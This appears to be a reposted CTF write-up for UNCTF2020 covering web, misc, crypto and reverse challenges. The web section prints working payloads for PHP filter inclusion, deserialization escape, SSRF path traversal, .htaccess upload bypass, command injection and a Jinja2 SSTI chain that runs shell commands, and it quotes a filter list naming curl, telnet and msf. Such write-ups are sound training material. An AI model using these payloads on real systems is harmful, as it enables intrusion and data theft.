UNCTF2020


web

easyeval

?a=include$_GET["npfs"]?>&npfs=php://filter/read=convert.base64-encode/resource=flag.php

base64解碼即可

easyunserialize

反序列化字符串逃逸

{s:5:"uname";s:92:"easychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallenge";s:8:"password";s:4:"easy";}";s:8:"password";i:1;}";

payload:

challengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}

easy_ssrf

考點:file_get_contents使用不存在的協議名導致目錄穿越,實現SSRF
php源碼中,在向目標請求時先會判斷使用的協議。如果協議無法識別,就會認為它是個目錄。

題目中要求url中存在 unctf.com
我們可以構造類似 unctf.com/../../../ 這樣的url,又因為我們需要查看flag文件

最終payload為 url=unctf.com/../../../../../flag

ezphp

我們需要構造序列化后的username 和 password,但是我們不知道賬號密碼是什么(題目給的那個是迷惑你的)

bool類型的true跟任意字符串可以弱類型相等。因此我們可以構造bool類型的序列化數據 ,無論比較的值是什么,結果都為true

easy-upload

emmm和 De1CTF2020的check in沒啥區別似乎

perl|pyth|ph|auto|curl|base||>|rm|ryby|openssl|war|lua|msf|xter|telnet in contents!

過濾了這些東西

經過測試發現我們上傳的圖片文件不能解析,因此我們可以上傳一個.htaccess,添加其他后綴名解析為.php文件。如:AddType application/x-httpd-php shell.ppt。不過由於php字符串的過濾我們上傳的文件不能包含php,因此我們上傳的.httacess文件中的php可以用換行符繞過,對於上傳了的shell.ppt文件,如果該php開啟了短標簽我們可以用短標簽<?=來代替<?php

UN's_online_tools

# 管道符

### windows 下

> `|`直接執行后面的語句
> `||`如果前面命令是錯的那么就執行后面的語句,否則只執行前面的語句
> `&`前面和后面命令都要執行,無論前面真假
> `&&`如果前面為假,后面的命令也不執行,如果前面為真則執行兩條命令



### Linux 下

> `;`前面和后面命令都要執行,無論前面真假
> `|`直接執行后面的語句
> `||`如果前面命令是錯的那么就執行后面的語句,否則只執行前面的語句
> `&`前面和后面命令都要執行,無論前面真假
> `&&`如果前面為假,后面的命令也不執行,如果前面為真則執行兩條命令

首先拿管道符測試下 127.0.0.1||ls

發現可以正確輸出,不過讀文件的時候發現部分字符被過濾了

先掃一下哪些字符被過濾了,808的這些都是被過濾了的

看了下還有less沒被過濾,空格用%09代替,一級級目錄猜過去,一猜就中,文件名是flag,不過flag被過濾了,用下正則繞過 fla?

payload如下:

easyflask

dirsearch掃目錄,/login和/register

注冊admin,登入admin,這里題目沒什么限制,可以直接注冊admin,剛開始還以為考點是flask_session。。。。

登入成功之后,回到初始頁面

提示 /secret_route_you_do_not_know

到該目錄,又提示 ‘guess' the secret number

所以 http://url//secret_route_you_do_not_know?guess={{config}}

emmm.確定為SSTI

爆破下看下哪些字符被過濾

[ __ " 這些字符都被過濾了

[] 可以用gentitem繞過,getitem的用法為:__mro__[2]== __mro__.__getitem__(2)
__ 和 "(引號)可以用|attr繞過,例:{{()|attr(request.values.name1)}}&name1=class

payload:?guess={{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(117)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=class&x2=base&x3=subclasses&x4=getitem&x5=init&x6=globals&x7=builtins&x8=eval&x9=import("os").popen('cat ./flag.txt').read()

misc

baba_is_you

有個url進去看下,是b站的,評論第一條就是flag

爺的歷險記

沒啥好說的,直接拿存檔編輯器,改下金幣,到‘ 出題人商店 ’ 買下第三個hint3 就是flag

陰陽人編碼

emmm Ook編碼
“就這” 和 “不會吧” 全部替換成 Ook ,倒過來的問號改成正過來的問號

解密網址:https://www.splitbrain.org/services/ook

YLB's CAPTCHA - 簽到題

驗證碼連着輸對十次,就可以得到flag

躲貓貓

后綴改成zip , 這個目錄下 \list\xl\sharedStrings.xml

base64解碼就是flag

被刪除的flag

strings flag

撕壞的二維碼

emmmm. 直接找個正常的二維碼,補一下就好

EZ-IMAGE

網絡深處1

audacity-2.4.2打開 頻譜圖,對照表得出電話號碼

15975384265

壓縮包解密,得到的音頻拿audacity-2.4.2打開 頻譜圖,如下

Tupper自我指涉公式生成器,解密即可,腳本網址:https://github.com/HanSaloZu/Tupper-s-self-referential-formula-in-Python

https://keelyhill.github.io/tuppers-formula/這個網站可以直接得到

https://330k.github.io/misc_tools/unicode_steganography.html

網址直接解碼即可

你能破解我的密碼嗎

john shadow.txt

得到密碼123456

MD5 32未小寫加密即可

mouse_click

(1)使用tshark 命令把pcap的數據提取並去除空行到usbdata.txt

tshark -r usb.pcap -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt

(2) 提取出來的數據可能會帶冒號,也可能不帶,如果不帶冒號,用以下腳本加冒號

f=open('usbdata.txt','r')
fi=open('out.txt','w')
while 1:
    a=f.readline().strip()
    if a:
        if len(a)==8:
            out=''
            for i in range(0,len(a),2):
                if i+2 != len(a):
                    out+=a[i]+a[i+1]+":"
                else:
                    out+=a[i]+a[i+1]
            fi.write(out)
            fi.write('\n')
    else:
        break

fi.close()

加冒號類似於這樣:

00:00:01:00
00:ff:01:00
00:ff:01:00
00:ff:02:00

(3) 獲取坐標內容

#sniffer.py
nums = []
keys = open('usbdata.txt','r')
result=open('result.txt','w')
posx = 0
posy = 0
for line in keys:
    x = int(line[2:4],16)
    y = int(line[5:7],16)
    if x > 127 :
        x -= 256
    if y >115 :
        y -=256
    posx += x
    posy += y
    btn_flag = int(line[0:2],16)  # 1 for left , 2 for right , 0 for nothing
    if btn_flag == 1 : # 1 代表左鍵,2代表右鍵
        result.write(str(posx)+' '+str(-posy)+'\n')
keys.close()
result.close()

(4 ) 用gnuplot軟件來畫出鼠標生成的圖像

gnuplot -e "plot 'result.txt' " -p

倒影

010editor打開,最下面,base64解密,解出來的字符串逆序,改后綴為zip

暴力破解

ET-MSG

轉成30 X 80 的圖

按阿雷西博 1-10的加密規則,轉成數字。如下:(注那個8改成0)

7進制轉ASCII即可

crypto

鞍山大法官開庭之缺的營養這一塊怎么補

培根密碼

5個一組對出來就好了

peigenhenyouyingyang

結果最后的flag格式有點迷,提交了好多次才對

unctf{PEIGENHENYOUYINGYANG}

簡單的RSA

e很大,維納攻擊

easy-rsa

p=(a+b)/2

q=(a-b)/2

求出pq后,可以求m

求m

import gmpy2
p=164976388739628973581511063883090363893890874421691770454048880284500992179926996908823840726558454111596699286948761026319434957217223527703429627592448959262532954019810985574583860227624287638908448719207441426500367172146028171043107126122608800640249201232870138119493156975216320985668013888561826953269
q=155422298738009940394189206134042119662513162560610248399569107132538620220590060772127789136918984458521940817304671619205395736161534795149599241668486283754795346411784845057685713557075371605135986388011998610261360520650827734187124699589734496097678970899686056997267797534053934064148348759788335157899

n = p * q  #模數
d = 13520637333215938186701232387959186078192441834430646200152017496580083015894693608744446669957196067379816242548412185148719678858906249430631086296059347471406865114774824686655919643954375513480029176520925196420025095437582404880108633026550155505640286905930669447727266167475328689082873003809052013145641561953548574050510799399063204788021266291024788348241346451907588463054320379080780429068578299089418923223030202618570767162875599171107099044497918583654800248238807175687675702792006125086389940138212608569298856353395124065366005586641202732989813698557545059249478652073299085605820622861917775089649

c =22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780
m=pow(c,d,n)
print(m)

wing

wingding2字體,對出來就好了

unctf{wingdings_is_incomprehensible}

signin

寫個腳本爆破下就好了

#!/usr/bin/python3

from string import printable
import itertools
from Crypto.Cipher import AES
from binascii import hexlify, unhexlify

pt = b'UNCTF2020_Enjoy_Crypto~'
val = len(pt) % 16
if not val == 0:
    pt += b'\x00'*(16 - val)
    print("pt==",pt)
yan= unhexlify(b'01a4e429e76db218fa0eb18f03ec69c9200a2362d8b4d7ea46170ce698389bbd')
print(yan)

table = {}

for p1 in itertools.product(printable, repeat=3):
    key = "".join(p1)
    key1 = "0000000000000"+key
    cipher1 = AES.new(key=key1.encode(), mode=AES.MODE_ECB)
    c1 = cipher1.encrypt(pt)
    table[c1] = key1

for p2 in itertools.product(printable, repeat=3):
    key = "".join(p2)
    key2 = key+"0000000000000"
    cipher2 = AES.new(key=key2.encode(), mode=AES.MODE_ECB)
    c2 = cipher2.decrypt(yan)
    # print("c2==",c2)
    if c2 in table:
        key1 = table[c2]
        print(key1, key2)
        break

flag = b"196cc94c2d685beb54beeaa14c1dc0a6f3794d65fca0d1a1274515166e4255ab367383092e42d774992f74bc138faaad"
flag = unhexlify(flag)
for key in [key2, key1]:
    cipher = AES.new(key=key.encode(), mode=AES.MODE_ECB)
    flag = cipher.decrypt(flag)
    print(flag)

pt== b'UNCTF2020_Enjoy_Crypto~\x00\x00\x00\x00\x00\x00\x00\x00\x00'
b'\x01\xa4\xe4)\xe7m\xb2\x18\xfa\x0e\xb1\x8f\x03\xeci\xc9 \n#b\xd8\xb4\xd7\xeaF\x17\x0c\xe6\x988\x9b\xbd'
done creating lookup table
0000000000000W<& 0/i0000000000000
b'>\xfe4\x00\x96\x00\x13\\\xa9\xd8\xbb\xf8\xa2D\x8a\x1e\xbe\xec\xc2[\t\xf0\xe6]\xddO;#\xb8l\xc1\xaf\xd7&\xde\x1c\x94\x9az\x01\x92b\x83\xd3/\x8c\xf4P'
b'unctf{524e314a-5843-3030-5939-333230323541}\x05\x05\x05\x05\x05'

re

往下翻

在str1那 ctrl+u

到了sub_401550函數這里

下一個函數 sub_4015DC

選擇數字 +R 即可轉化為ascii


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM